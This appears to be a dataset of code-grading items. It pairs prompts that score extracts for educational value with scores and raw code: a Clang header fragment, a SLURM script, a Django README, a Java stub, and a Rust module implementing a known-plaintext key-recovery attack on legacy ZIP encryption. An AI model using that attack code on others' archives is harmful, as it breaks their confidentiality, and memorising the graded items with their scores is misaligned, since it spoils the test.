llvm::Value *EmitVAArg(llvm::Value *VAListAddr, QualType Ty);
// EmitVLASize - Generate code for any VLA size expressions that might occur
// in a variably modified type. If Ty is a VLA, will return the value that
// corresponds to the size in bytes of the VLA type. Will return 0 otherwise.
llvm::Value *EmitVLASize(QualType Ty);
// GetVLASize - Returns an LLVM value that corresponds to the size in bytes
// of a variable length array type.
llvm::Value *GetVLASize(const VariableArrayType *);
/// LoadCXXThis - Load the value of 'this'. This function is only valid while
/// generating code for an C++ member function.
llvm::Value *LoadCXXThis();
//===--------------------------------------------------------------------===//
// Declaration Emission
//===--------------------------------------------------------------------===//
void EmitDecl(const Decl &D);
void EmitBlockVarDecl(const VarDecl &D);
void EmitLocalBlockVarDecl(const VarDecl &D);
void EmitStaticBlockVarDecl(const VarDecl &D);
/// EmitParmDecl - Emit a ParmVarDecl or an ImplicitParamDecl.
void EmitParmDecl(const VarDecl &D, llvm::Value *Arg);
//===--------------------------------------------------------------------===//
// Statement Emission
//===--------------------------------------------------------------------===//
/// EmitStopPoint - Emit a debug stoppoint if we are emitting debug info.
void EmitStopPoint(const Stmt *S);
/// EmitStmt - Emit the code for the statement \arg S. It is legal to call
/// this function even if there is no current insertion point.
///
/// This function may clear the current insertion point; callers should use
/// EnsureInsertPoint if they wish to subsequently generate code without first
/// calling EmitBlock, EmitBranch, or EmitStmt.
void EmitStmt(const Stmt *S);
/// EmitSimpleStmt - Try to emit a "simple" statement which does not
/// necessarily require an insertion point or debug information; typically
/// because the statement amounts to a jump or a container of other
/// statements.
///
/// \return True if the statement was handled.
bool EmitSimpleStmt(const Stmt *S);
RValue EmitCompoundStmt(const CompoundStmt &S, bool GetLast = false,
llvm::Value *AggLoc = 0, bool isAggVol = false);
/// EmitLabel - Emit the block for the given label. It is legal to call this
/// function even if there is no current insertion point.
void EmitLabel(const LabelStmt &S); // helper for EmitLabelStmt.
void EmitLabelStmt(const LabelStmt &S);
void EmitGotoStmt(const GotoStmt &S);
void EmitIndirectGotoStmt(const IndirectGotoStmt &S);
void EmitIfStmt(const IfStmt &S);
void EmitWhileStmt(const WhileStmt &S);
void EmitDoStmt(const DoStmt &S);
void EmitForStmt(const ForStmt &S);
void EmitReturnStmt(const ReturnStmt &S);
void EmitDeclStmt(const DeclStmt &S);
void EmitBreakStmt(const BreakStmt &S);
void EmitContinueStmt(const ContinueStmt &S);
void EmitSwitchStmt(const SwitchStmt &S);
void EmitDefaultStmt(const DefaultStmt &S);
void EmitCaseStmt(const CaseStmt &S);
void EmitCaseStmtRange(const CaseStmt &S);
void EmitAsmStmt(const AsmStmt &S);
void EmitObjCForCollectionStmt(const ObjCForCollectionStmt &S);
void EmitObjCAtTryStmt(const ObjCAtTryStmt &S);
void EmitObjCAtThrowStmt(const ObjCAtThrowStmt &S);
void EmitObjCAtSynchronizedStmt(const ObjCAtSynchronizedStmt &S);
//===--------------------------------------------------------------------===//
// LValue Expression Emission
//===--------------------------------------------------------------------===//
/// GetUndefRValue - Get an appropriate 'undef' rvalue for the given type.
RValue GetUndefRValue(QualType Ty);
/// EmitUnsupportedRValue - Emit a dummy r-value using the type of E
/// and issue an ErrorUnsupported style diagnostic (using the
/// provided Name).
RValue EmitUnsupportedRValue(const Expr *E,
const char *Name);
/// EmitUnsupportedLValue - Emit a dummy l-value using the type of E and issue
/// an ErrorUnsupported style diagnostic (using the provided Name).
LValue EmitUnsupportedLValue(const Expr *E,
const char *Name);
/// EmitLValue - Emit code to compute a designator that specifies the location
/// of the expression.
///
/// This can return one of two things: a simple address or a bitfield
/// reference. In either case, the LLVM Value* in the LValue structure is
/// guaranteed to be an LLVM pointer type.
///
/// If this returns a bitfield reference, nothing about the pointee type of
/// the LLVM value is known: For example, it may not be a pointer to an
/// integer.
///
/// If this returns a normal address, and if the lvalue's C type is fixed
/// size, this method guarantees that the returned pointer type will point to
/// an LLVM type of the same size of the lvalue's type. If the lvalue has a
/// variable length type, this is not possible.
///
LValue EmitLValue(const Expr *E);
/// EmitLoadOfScalar - Load a scalar value from an address, taking
/// care to appropriately convert from the memory representation to
/// the LLVM value representation.
llvm::Value *EmitLoadOfScalar(llvm::Value *Addr, bool Volatile,
QualType Ty);
/// EmitStoreOfScalar - Store a scalar value to an address, taking
/// care to appropriately convert from the memory representation to
/// the LLVM value representation.
void EmitStoreOfScalar(llvm::Value *Value, llvm::Value *Addr,
bool Volatile);
/// EmitLoadOfLValue - Given an expression that represents a value lvalue,
/// this method emits the address of the lvalue, then loads the result as an
/// rvalue, returning the rvalue.
RValue EmitLoadOfLValue(LValue V, QualType LVType);
RValue EmitLoadOfExtVectorElementLValue(LValue V, QualType LVType);
RValue EmitLoadOfBitfieldLValue(LValue LV, QualType ExprType);
RValue EmitLoadOfPropertyRefLValue(LValue LV, QualType ExprType);
RValue EmitLoadOfKVCRefLValue(LValue LV, QualType ExprType);
/// EmitStoreThroughLValue - Store the specified rvalue into the specified
/// lvalue, where both are guaranteed to the have the same type, and that type
/// is 'Ty'.
void EmitStoreThroughLValue(RValue Src, LValue Dst, QualType Ty);
void EmitStoreThroughExtVectorComponentLValue(RValue Src, LValue Dst,
QualType Ty);
void EmitStoreThroughPropertyRefLValue(RValue Src, LValue Dst, QualType Ty);
void EmitStoreThroughKVCRefLValue(RValue Src, LValue Dst, QualType Ty);
/// EmitStoreThroughLValue - Store Src into Dst with same constraints as
/// EmitStoreThroughLValue.
///
/// \param Result [out] - If non-null, this will be set to a Value* for the
/// bit-field contents after the store, appropriate for use as the result of
/// an assignment to the bit-field.
void EmitStoreThroughBitfieldLValue(RValue Src, LValue Dst, QualType Ty,
llvm::Value **Result=0);
// Note: only availabe for agg return types
LValue EmitBinaryOperatorLValue(const BinaryOperator *E);
// Note: only available for agg return types
LValue EmitCallExprLValue(const CallExpr *E);
// Note: only available for agg return types
LValue EmitVAArgExprLValue(const VAArgExpr *E);
LValue EmitDeclRefLValue(const DeclRefExpr *E);
LValue EmitStringLiteralLValue(const StringLiteral *E);
LValue EmitObjCEncodeExprLValue(const ObjCEncodeExpr *E);
LValue EmitPredefinedFunctionName(unsigned Type);
LValue EmitPredefinedLValue(const PredefinedExpr *E);
LValue EmitUnaryOpLValue(const UnaryOperator *E);
LValue EmitArraySubscriptExpr(const ArraySubscriptExpr *E);
LValue EmitExtVectorElementExpr(const ExtVectorElementExpr *E);
LValue EmitMemberExpr(const MemberExpr *E);
LValue EmitCompoundLiteralLValue(const CompoundLiteralExpr *E);
LValue EmitConditionalOperator(const ConditionalOperator *E);
LValue EmitCastLValue(const CastExpr *E);
llvm::Value *EmitIvarOffset(ObjCInterfaceDecl *Interface,
const ObjCIvarDecl *Ivar);
LValue EmitLValueForField(llvm::Value* Base, FieldDecl* Field,
bool isUnion, unsigned CVRQualifiers);
LValue EmitLValueForIvar(QualType ObjectTy,
llvm::Value* Base, const ObjCIvarDecl *Ivar,
const FieldDecl *Field,
unsigned CVRQualifiers);
LValue EmitLValueForBitfield(llvm::Value* Base, FieldDecl* Field,
unsigned CVRQualifiers);
LValue EmitBlockDeclRefLValue(const BlockDeclRefExpr *E);
LValue EmitCXXConditionDeclLValue(const CXXConditionDeclExpr *E);
LValue EmitObjCMessageExprLValue(const ObjCMessageExpr *E);
LValue EmitObjCIvarRefLValue(const ObjCIvarRefExpr *E);
LValue EmitObjCPropertyRefLValue(const ObjCPropertyRefExpr *E);
LValue EmitObjCKVCRefLValue(const ObjCKVCRefExpr *E);
LValue EmitObjCSuperExpr(const ObjCSuperExpr *E);
//===--------------------------------------------------------------------===//
// Scalar Expression Emission
//===--------------------------------------------------------------------===//
/// EmitCall - Generate a call of the given function, expecting the given
/// result type, and using the given argument list which specifies both the
/// LLVM arguments and the types they were derived from.
///
/// \param TargetDecl - If given, the decl of the function in a
/// direct call; used to set attributes on the call (noreturn,
/// etc.).
RValue EmitCall(const CGFunctionInfo &FnInfo,
llvm::Value *Callee,
const CallArgList &Args,
const Decl *TargetDecl = 0);
RValue EmitCallExpr(const CallExpr *E);
RValue EmitCXXMemberCallExpr(const CXXMemberCallExpr *E);
RValue EmitCallExpr(llvm::Value *Callee, QualType FnType,
CallExpr::const_arg_iterator ArgBeg,
CallExpr::const_arg_iterator ArgEnd,
const Decl *TargetDecl = 0);
RValue EmitBuiltinExpr(const FunctionDecl *FD,
unsigned BuiltinID, const CallExpr *E);
RValue EmitBlockCallExpr(const CallExpr *E);
/// EmitTargetBuiltinExpr - Emit the given builtin call. Returns 0 if the call
/// is unhandled by the current target.
llvm::Value *EmitTargetBuiltinExpr(unsigned BuiltinID, const CallExpr *E);
llvm::Value *EmitX86BuiltinExpr(unsigned BuiltinID, const CallExpr *E);
llvm::Value *EmitPPCBuiltinExpr(unsigned BuiltinID, const CallExpr *E);
llvm::Value *EmitShuffleVector(llvm::Value* V1, llvm::Value *V2, ...);
llvm::Value *EmitVector(llvm::Value * const *Vals, unsigned NumVals,
bool isSplat = false);
llvm::Value *EmitObjCProtocolExpr(const ObjCProtocolExpr *E);
llvm::Value *EmitObjCStringLiteral(const ObjCStringLiteral *E);
llvm::Value *EmitObjCSelectorExpr(const ObjCSelectorExpr *E);
RValue EmitObjCMessageExpr(const ObjCMessageExpr *E);
RValue EmitObjCPropertyGet(const Expr *E);
RValue EmitObjCSuperPropertyGet(const Expr *Exp, const Selector &S);
void EmitObjCPropertySet(const Expr *E, RValue Src);
void EmitObjCSuperPropertySet(const Expr *E, const Selector &S, RValue Src);
//===--------------------------------------------------------------------===//
// Expression Emission
//===--------------------------------------------------------------------===//
// Expressions are broken into three classes: scalar, complex, aggregate.
/// EmitScalarExpr - Emit the computation of the specified expression of LLVM
/// scalar type, returning the result.
llvm::Value *EmitScalarExpr(const Expr *E);
/// EmitScalarConversion - Emit a conversion from the specified type to the
/// specified destination type, both of which are LLVM scalar types.
llvm::Value *EmitScalarConversion(llvm::Value *Src, QualType SrcTy,
QualType DstTy);
/// EmitComplexToScalarConversion - Emit a conversion from the specified
/// complex type to the specified destination type, where the destination type
/// is an LLVM scalar type.
llvm::Value *EmitComplexToScalarConversion(ComplexPairTy Src, QualType SrcTy,
QualType DstTy);
/// EmitAggExpr - Emit the computation of the specified expression of
/// aggregate type. The result is computed into DestPtr. Note that if
/// DestPtr is null, the value of the aggregate expression is not needed.
void EmitAggExpr(const Expr *E, llvm::Value *DestPtr, bool VolatileDest);
/// EmitComplexExpr - Emit the computation of the specified expression of
/// complex type, returning the result.
ComplexPairTy EmitComplexExpr(const Expr *E);
/// EmitComplexExprIntoAddr - Emit the computation of the specified expression
/// of complex type, storing into the specified Value*.
void EmitComplexExprIntoAddr(const Expr *E, llvm::Value *DestAddr,
bool DestIsVolatile);
/// StoreComplexToAddr - Store a complex number into the specified address.
void StoreComplexToAddr(ComplexPairTy V, llvm::Value *DestAddr,
bool DestIsVolatile);
/// LoadComplexFromAddr - Load a complex number from the specified address.
ComplexPairTy LoadComplexFromAddr(llvm::Value *SrcAddr, bool SrcIsVolatile);
/// CreateStaticBlockVarDecl - Create a zero-initialized LLVM global
/// for a static block var decl.
llvm::GlobalVariable * CreateStaticBlockVarDecl(const VarDecl &D,
const char *Separator,
llvm::GlobalValue::LinkageTypes
Linkage);
/// GenerateStaticCXXBlockVarDecl - Create the initializer for a C++
/// runtime initialized static block var decl.
void GenerateStaticCXXBlockVarDeclInit(const VarDecl &D,
llvm::GlobalVariable *GV);
//===--------------------------------------------------------------------===//
// Internal Helpers
//===--------------------------------------------------------------------===//
/// ContainsLabel - Return true if the statement contains a label in it. If
/// this statement is not executed normally, it not containing a label means
/// that we can just remove the code.
static bool ContainsLabel(const Stmt *S, bool IgnoreCaseStmts = false);
/// ConstantFoldsToSimpleInteger - If the specified expression does not fold
/// to a constant, or if it does but contains a label, return 0. If it
/// constant folds to 'true' and does not contain a label, return 1, if it
/// constant folds to 'false' and does not contain a label, return -1.
int ConstantFoldsToSimpleInteger(const Expr *Cond);
/// EmitBranchOnBoolExpr - Emit a branch on a boolean condition (e.g. for an
/// if statement) to the specified blocks. Based on the condition, this might
/// try to simplify the codegen of the conditional based on the branch.
void EmitBranchOnBoolExpr(const Expr *Cond, llvm::BasicBlock *TrueBlock,
llvm::BasicBlock *FalseBlock);
private:
/// EmitIndirectSwitches - Emit code for all of the switch
/// instructions in IndirectSwitches.
void EmitIndirectSwitches();
void EmitReturnOfRValue(RValue RV, QualType Ty);
/// ExpandTypeFromArgs - Reconstruct a structure of type \arg Ty
/// from function arguments into \arg Dst. See ABIArgInfo::Expand.
///
/// \param AI - The first function argument of the expansion.
/// \return The argument following the last expanded function
/// argument.
llvm::Function::arg_iterator
ExpandTypeFromArgs(QualType Ty, LValue Dst,
llvm::Function::arg_iterator AI);
/// ExpandTypeToArgs - Expand an RValue \arg Src, with the LLVM type for \arg
/// Ty, into individual arguments on the provided vector \arg Args. See
/// ABIArgInfo::Expand.
void ExpandTypeToArgs(QualType Ty, RValue Src,
llvm::SmallVector<llvm::Value*, 16> &Args);
llvm::Value* EmitAsmInput(const AsmStmt &S, TargetInfo::ConstraintInfo Info,
const Expr *InputExpr, std::string &ConstraintStr);
/// EmitCleanupBlock - emits a single cleanup block.
void EmitCleanupBlock();
/// AddBranchFixup - adds a branch instruction to the list of fixups for the
/// current cleanup scope.
void AddBranchFixup(llvm::BranchInst *BI);
/// EmitCallArg - Emit a single call argument.
RValue EmitCallArg(const Expr *E, QualType ArgType);
/// EmitCallArgs - Emit call arguments for a function.
/// FIXME: It should be possible to generalize this and pass a generic
/// "argument type container" type instead of the FunctionProtoType. This way
/// it can work on Objective-C methods as well.
void EmitCallArgs(CallArgList& args, const FunctionProtoType *FPT,
CallExpr::const_arg_iterator ArgBeg,
CallExpr::const_arg_iterator ArgEnd);
};
} // end namespace CodeGen
} // end namespace clang
#endif
|
Below is an extract from a shell script. Evaluate whether it has a high educational value and could help teach shell scripting. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the script contains valid shell commands, even if it's not educational, like simple system calls or basic file operations.
- Add another point if the script addresses practical shell scripting concepts (e.g., variables, conditionals), even if it lacks comments.
- Award a third point if the script is suitable for educational use and introduces key concepts in shell scripting, even if the topic is somewhat advanced (e.g., functions, process management). The script should be well-structured and contain some comments.
- Give a fourth point if the script is self-contained and highly relevant to teaching shell scripting. It should be similar to a tutorial example or a shell scripting course section, demonstrating good practices in script organization.
- Grant a fifth point if the script is outstanding in its educational value and is perfectly suited for teaching shell scripting. It should be well-written, easy to understand, and contain step-by-step explanations in comments.
The extract:
#!/bin/bash
##---------------------------------------------------------
#SBATCH --job-name=HDFdownloadd
##---------------------------------------------------------
##---------------------------------------------------------
##################### test partition for QA
##SBATCH --account=cpu-s6-test-0
##SBATCH --partition=cpu-s6-test-0
##---------------------------------------------------------
##---------------------------------------------------------
##################### MISR_roughness partition
#SBATCH --account=cpu-s5-misr_roughness-0
#SBATCH --partition=cpu-core-0 # Submit job to the cpu partition
##---------------------------------------------------------
##---------------------------------------------------------
## --- multi-core/threaded
#SBATCH --ntasks=1
#SBATCH --ntasks-per-core=1
#SBATCH --mail-type=ALL # Send mail on all state changes
#SBATCH --mail-user=<EMAIL>
#SBATCH --output=logs/log_download_hdf_files.txt # The output file name
#SBATCH --error=logs/log_error_download_hdf_files.txt # The error file nam
##SBATCH --cores-per-socket=30 --> returns error
##SBATCH --hint=compute_bound
##SBATCH --nodes=1
##SBATCH --mem=1gb # Job memory request
##SBATCH --mem-per-cpu=4000M # Allocate 3.5GB of memory per CPU
##SBATCH --time=14-00:00 # sets the max. run time; format: D-HH:MM
##---------------------------------------------------------
##hostname
date
## module load intel/compiler/64/2018/18.0.1
module list
echo “=== MISR job started here...”
new_download_MISR_files.py
echo “=== MISR job ended here...”
date
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
shell
| 1 |
#!/bin/bash
##---------------------------------------------------------
#SBATCH --job-name=HDFdownloadd
##---------------------------------------------------------
##---------------------------------------------------------
##################### test partition for QA
##SBATCH --account=cpu-s6-test-0
##SBATCH --partition=cpu-s6-test-0
##---------------------------------------------------------
##---------------------------------------------------------
##################### MISR_roughness partition
#SBATCH --account=cpu-s5-misr_roughness-0
#SBATCH --partition=cpu-core-0 # Submit job to the cpu partition
##---------------------------------------------------------
##---------------------------------------------------------
## --- multi-core/threaded
#SBATCH --ntasks=1
#SBATCH --ntasks-per-core=1
#SBATCH --mail-type=ALL # Send mail on all state changes
#SBATCH --mail-user=<EMAIL>
#SBATCH --output=logs/log_download_hdf_files.txt # The output file name
#SBATCH --error=logs/log_error_download_hdf_files.txt # The error file nam
##SBATCH --cores-per-socket=30 --> returns error
##SBATCH --hint=compute_bound
##SBATCH --nodes=1
##SBATCH --mem=1gb # Job memory request
##SBATCH --mem-per-cpu=4000M # Allocate 3.5GB of memory per CPU
##SBATCH --time=14-00:00 # sets the max. run time; format: D-HH:MM
##---------------------------------------------------------
##hostname
date
## module load intel/compiler/64/2018/18.0.1
module list
echo “=== MISR job started here...”
new_download_MISR_files.py
echo “=== MISR job ended here...”
date
|
Below is an extract from a Markdown document. Evaluate its educational value, considering both Markdown usage and the content itself. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the document uses basic Markdown syntax correctly (e.g., headers, lists, or emphasis), regardless of content.
- Add another point if the document's content has some educational value, even if it's basic or limited in scope. The Markdown usage should be correct but might not be diverse.
- Award a third point if the document demonstrates a good range of Markdown features (e.g., links, images, code blocks) AND the content provides clear, accurate information on a topic. The structure should be logical and easy to follow.
- Give a fourth point if the document is well-suited for teaching both its subject matter and effective Markdown usage. It should use varied Markdown elements to enhance the presentation of educational content, similar to a well-crafted tutorial or lesson.
- Grant a fifth point if the document is exceptional both in its use of Markdown and the educational value of its content. It should demonstrate advanced Markdown features (e.g., tables, task lists, footnotes), have an engaging structure, and provide comprehensive, high-quality educational content on its topic. The document should serve as an excellent example of using Markdown for educational purposes.
The extract:
# blog_code
my django server code. written with python
hi so this is my django code for my blog site so if you wonna check it out go to https://only-gamer-chat.herokuapp.com/
if you are not signed in signin here https://only-gamer-chat.herokuapp.com/accounts/signup/
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
markdown
| 2 |
# blog_code
my django server code. written with python
hi so this is my django code for my blog site so if you wonna check it out go to https://only-gamer-chat.herokuapp.com/
if you are not signed in signin here https://only-gamer-chat.herokuapp.com/accounts/signup/
|
Below is an extract from a Rust program. Evaluate whether it has a high educational value and could help teach coding. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the program contains valid Rust code, even if it's not educational, like boilerplate code, configurations, or niche concepts.
- Add another point if the program addresses practical Rust concepts, even if it lacks comments.
- Award a third point if the program is suitable for educational use and introduces key concepts in programming, even if the topic is advanced (e.g., ownership, lifetimes). The code should be well-structured and contain some comments.
- Give a fourth point if the program is self-contained and highly relevant to teaching Rust. It should be similar to a school exercise, a tutorial, or a Rust course section.
- Grant a fifth point if the program is outstanding in its educational value and is perfectly suited for teaching Rust. It should be well-written, easy to understand, and contain step-by-step explanations and comments.
The extract:
use crate::crc32_tab::CRC32TAB;
use crate::data::Data;
use crate::keys::Keys;
use crate::keystream_tab::KEYSTREAMTAB;
use crate::mult_tab::{MultTab, MULTTAB};
use crate::utils::*;
#[derive(Debug, Clone)]
pub struct Attack<'a> {
z_list: [u32; 12],
y_list: [u32; 12],
x_list: [u32; 12],
data: &'a Data,
index: usize,
}
impl<'a> Attack<'a> {
pub const SIZE: usize = 12;
pub fn new(data: &Data, index: usize) -> Attack {
Attack {
z_list: [0; 12],
y_list: [0; 12],
x_list: [0; 12],
data,
index,
}
}
pub fn carry_out(&mut self, z11_2_32: u32) -> bool {
self.z_list[11] = z11_2_32;
self.explore_z_lists(11)
}
pub fn get_keys(&self) -> Keys {
let mut keys = Keys::new();
keys.set_keys(self.x_list[7], self.y_list[7], self.z_list[7]);
// println!("({})", self.data.ciphertext[0]);
for &i in self.data.cipher_text
[0..(Data::HEADER_SIZE + self.data.offset as usize + self.index + 7)]
.iter()
.rev()
{
// println!("{}", i);
keys.update_backword(i);
}
keys
}
fn explore_z_lists(&mut self, i: i32) -> bool {
if i != 0 {
// the Z-list is not complete so generate Z{i-1}[2,32) values
let i = i as usize;
// get Z{i-1}[10,32) from CRC32^-1
let zim1_10_32 = CRC32TAB.get_zim1_10_32(self.z_list[i]);
// get Z{i-1}[2,16) values from keystream byte k{i-1} and Z{i-1}[10,16)
for &zim1_2_16 in KEYSTREAMTAB
.get_zi_2_16_vector(self.data.keystream[self.index as usize + i - 1], zim1_10_32)
{
// add Z{i-1}[2,32) to the Z-list
self.z_list[i - 1] = zim1_10_32 | zim1_2_16;
// find Zi[0,2) from Crc32^1
self.z_list[i] &= MASK_2_32;
self.z_list[i] |= (CRC32TAB.crc32in
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
rust
| 3 |
use crate::crc32_tab::CRC32TAB;
use crate::data::Data;
use crate::keys::Keys;
use crate::keystream_tab::KEYSTREAMTAB;
use crate::mult_tab::{MultTab, MULTTAB};
use crate::utils::*;
#[derive(Debug, Clone)]
pub struct Attack<'a> {
z_list: [u32; 12],
y_list: [u32; 12],
x_list: [u32; 12],
data: &'a Data,
index: usize,
}
impl<'a> Attack<'a> {
pub const SIZE: usize = 12;
pub fn new(data: &Data, index: usize) -> Attack {
Attack {
z_list: [0; 12],
y_list: [0; 12],
x_list: [0; 12],
data,
index,
}
}
pub fn carry_out(&mut self, z11_2_32: u32) -> bool {
self.z_list[11] = z11_2_32;
self.explore_z_lists(11)
}
pub fn get_keys(&self) -> Keys {
let mut keys = Keys::new();
keys.set_keys(self.x_list[7], self.y_list[7], self.z_list[7]);
// println!("({})", self.data.ciphertext[0]);
for &i in self.data.cipher_text
[0..(Data::HEADER_SIZE + self.data.offset as usize + self.index + 7)]
.iter()
.rev()
{
// println!("{}", i);
keys.update_backword(i);
}
keys
}
fn explore_z_lists(&mut self, i: i32) -> bool {
if i != 0 {
// the Z-list is not complete so generate Z{i-1}[2,32) values
let i = i as usize;
// get Z{i-1}[10,32) from CRC32^-1
let zim1_10_32 = CRC32TAB.get_zim1_10_32(self.z_list[i]);
// get Z{i-1}[2,16) values from keystream byte k{i-1} and Z{i-1}[10,16)
for &zim1_2_16 in KEYSTREAMTAB
.get_zi_2_16_vector(self.data.keystream[self.index as usize + i - 1], zim1_10_32)
{
// add Z{i-1}[2,32) to the Z-list
self.z_list[i - 1] = zim1_10_32 | zim1_2_16;
// find Zi[0,2) from Crc32^1
self.z_list[i] &= MASK_2_32;
self.z_list[i] |= (CRC32TAB.crc32inv(self.z_list[i], 0) ^ self.z_list[i - 1]) >> 8;
// get Y{i+1}[24,32)
if i < 11 {
self.y_list[i + 1] = CRC32TAB.get_yi_24_32(self.z_list[i + 1], self.z_list[i]);
}
if self.explore_z_lists(i as i32 - 1) {
// println!("{}: 1 true", i);
return true;
}
}
// println!("{}: 1 false", i);
false
} else {
// the Z-list is complete so iterate over possible Y values
// guess Y11[8,24) and keep prod == (Y11[8,32) - 1) * mult^-1
let mut prod =
(MULTTAB.get_multinv(msb(self.y_list[11])) << 24).wrapping_sub(MultTab::MULTINV);
for y11_8_24 in (0..(1 << 24)).step_by(1 << 8) {
// get possible Y11[0,8) values
for &y11_0_8 in
MULTTAB.get_msb_prod_fiber3(msb(self.y_list[10]).wrapping_sub(msb(prod)))
{
// filter Y11[0,8) using Y10[24,32)
if prod + MULTTAB.get_multinv(y11_0_8) - (self.y_list[10] & MASK_24_32)
<= MAXDIFF_0_24
{
self.y_list[11] =
u32::from(y11_0_8) | y11_8_24 | (self.y_list[11] & MASK_24_32);
if self.explore_y_lists(11) {
// println!("{}: 2 true", i);
return true;
}
}
}
prod = prod.wrapping_add(MultTab::MULTINV << 8);
}
// println!("{}: 2 false", i);
false
}
}
fn explore_y_lists(&mut self, i: i32) -> bool {
if i != 3 {
// the Y-list is not complete so generate Y{i-1} values
let i = i as usize;
let fy: u32 = (self.y_list[i as usize] - 1).wrapping_mul(MultTab::MULTINV);
let ffy: u32 = (fy - 1).wrapping_mul(MultTab::MULTINV);
// get possible LSB(Xi)
for &xi_0_8 in
MULTTAB.get_msb_prod_fiber2(msb(ffy.wrapping_sub(self.y_list[i - 2] & MASK_24_32)))
{
// compute corresponding Y{i-1}
let yim1 = fy - u32::from(xi_0_8);
// filter values with Y{i-2}[24,32)
if ffy
.wrapping_sub(MULTTAB.get_multinv(xi_0_8))
.wrapping_sub(self.y_list[i - 2] & MASK_24_32)
<= MAXDIFF_0_24
&& msb(yim1) == msb(self.y_list[i - 1])
{
// add Y{i-1} to the Y-list
self.y_list[i as usize - 1] = yim1;
// set Xi value
self.x_list[i as usize] = u32::from(xi_0_8);
if self.explore_y_lists(i as i32 - 1) {
return true;
}
}
}
false
} else {
self.test_x_list()
}
}
fn test_x_list(&mut self) -> bool {
// compute X7
for i in 5..=7 {
self.x_list[i] = (CRC32TAB.crc32(self.x_list[i-1], self.data.plain_text[self.index+i-1])
& MASK_8_32) // discard the LSB
| u32::from(lsb(self.x_list[i])); // set the LSB
}
let mut x = self.x_list[7];
// compare 4 LSB(Xi) obtained from plaintext with those from the X-list
for i in 8..=11 {
x = CRC32TAB.crc32(x, self.data.plain_text[self.index + i - 1]);
if lsb(x) != lsb(self.x_list[i]) {
//println!("4");
return false;
}
}
// compute X3
let mut x = self.x_list[7];
for i in (3..=6).rev() {
x = CRC32TAB.crc32inv(x, self.data.plain_text[self.index + i]);
}
// check that X3 fits with Y1[26,32)
let y1_26_32 = CRC32TAB.get_yi_24_32(self.z_list[1], self.z_list[0]) & MASK_26_32;
if ((self.y_list[3] - 1).wrapping_mul(MultTab::MULTINV) - u32::from(lsb(x)) - 1)
.wrapping_mul(MultTab::MULTINV)
- y1_26_32
> MAXDIFF_0_26
{
//println!("5");
return false;
}
// all tests passed so the keys are found
true
}
}
#[cfg(test)]
mod tests {
use super::Attack;
use super::Data;
use crate::Arguments;
#[test]
fn test_x_list() {
let data = Data::new(&Arguments {
cipher_zip: Some("./example/cipher.zip".into()),
cipher_file: Some("file".into()),
plain_zip: Some("./example/plain.zip".into()),
plain_file: Some("file".into()),
..Default::default()
})
.unwrap();
let mut attack = Attack::new(&data, 735115);
attack.x_list = [
2, 64, 347029520, 21996, 207, 3988292578, 881025314, 2807276851, 77, 60, 9, 187,
];
attack.y_list = [
64, 64, 838860800, 4085658340, 702500480, 2170229995, 2383027522, 2433410890,
1767399924, 853191409, 3862839011, 2230629911,
];
attack.z_list = [
1092480552, 2001087864, 2524901027, 1811754778, 3216743481, 3305472034, 3752192579,
1744967186, 3351227042, 4039650542, 237715486, 282349850,
];
assert_eq!(true, attack.test_x_list());
}
#[test]
fn explore_y_list() {
let data = Data::new(&Arguments {
cipher_zip: Some("./example/cipher.zip".into()),
cipher_file: Some("file".into()),
plain_zip: Some("./example/plain.zip".into()),
plain_file: Some("file".into()),
..Default::default()
})
.unwrap();
let mut attack = Attack::new(&data, 735115);
attack.x_list = [
2, 64, 3414458384, 22000, 207, 3988292578, 881025314, 2807276851, 77, 60, 9, 187,
];
attack.y_list = [
64, 64, 838860800, 4085658340, 702500480, 2170229995, 2383027522, 2433410890,
1767399924, 853191409, 3862839011, 2230629911,
];
attack.z_list = [
1092480552, 2001087864, 2524901027, 1811754778, 3216743481, 3305472034, 3752192579,
1744967186, 3351227042, 4039650542, 237715486, 282349850,
];
assert_eq!(true, attack.explore_y_lists(11));
}
#[test]
fn get_keys() {
let data = Data::new(&Arguments {
cipher_zip: Some("./example/cipher.zip".into()),
cipher_file: Some("file".into()),
plain_zip: Some("./example/plain.zip".into()),
plain_file: Some("file".into()),
..Default::default()
})
.unwrap();
let mut attack = Attack::new(&data, 735115);
attack.x_list[7] = 2807276851;
attack.y_list[7] = 2433410890;
attack.z_list[7] = 1744967186;
let keys = attack.get_keys();
assert_eq!(0x8879dfed, keys.get_x());
assert_eq!(0x14335b6b, keys.get_y());
assert_eq!(0x8dc58b53, keys.get_z());
}
}
|
Below is an extract from a Java program. Evaluate whether it has a high educational value and could help teach coding. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the program contains valid Java code, even if it's not educational, like boilerplate code, configurations, or niche concepts.
- Add another point if the program addresses practical Java concepts, even if it lacks comments.
- Award a third point if the program is suitable for educational use and introduces key concepts in programming, even if the topic is advanced (e.g., concurrent programming). The code should be well-structured and contain some comments.
- Give a fourth point if the program is self-contained and highly relevant to teaching Java. It should be similar to a school exercise, a tutorial, or a Java course section.
- Grant a fifth point if the program is outstanding in its educational value and is perfectly suited for teaching Java. It should be well-written, easy to understand, and contain step-by-step explanations and comments.
The extract:
package com.zm.LeetCodeEx.algorithms.ex1_100;
import java.util.ArrayList;
import java.util.Collections;
import java.util.List;
/**
* 54. 螺旋矩阵
* <p>
* 给定一个包含 m x n 个元素的矩阵（m 行, n 列），请按照顺时针螺旋顺序，返回矩阵中的所有元素。
* <p>
* 示例 1:
* <p>
* <p>
* 输入:
* <p>
* [<br>
* [ 1, 2, 3 ],<br>
* [ 4, 5, 6 ],<br>
* [ 7, 8, 9 ]<br>
* ]<br>
* 输出: [1,2,3,6,9,8,7,4,5]
* <p>
* 示例 2:
* <p>
* 输入: [<br>
* [1, 2, 3, 4],<br>
* [5, 6, 7, 8],<br>
* [9,10,11,12]<br>
* ]<br>
* 输出: [1,2,3,4,8,12,11,10,9,5,6,7]
*
* @author zm
*/
public class LEET054 {
public static void main(String[] args) {
LEET054 l054 = new LEET054();
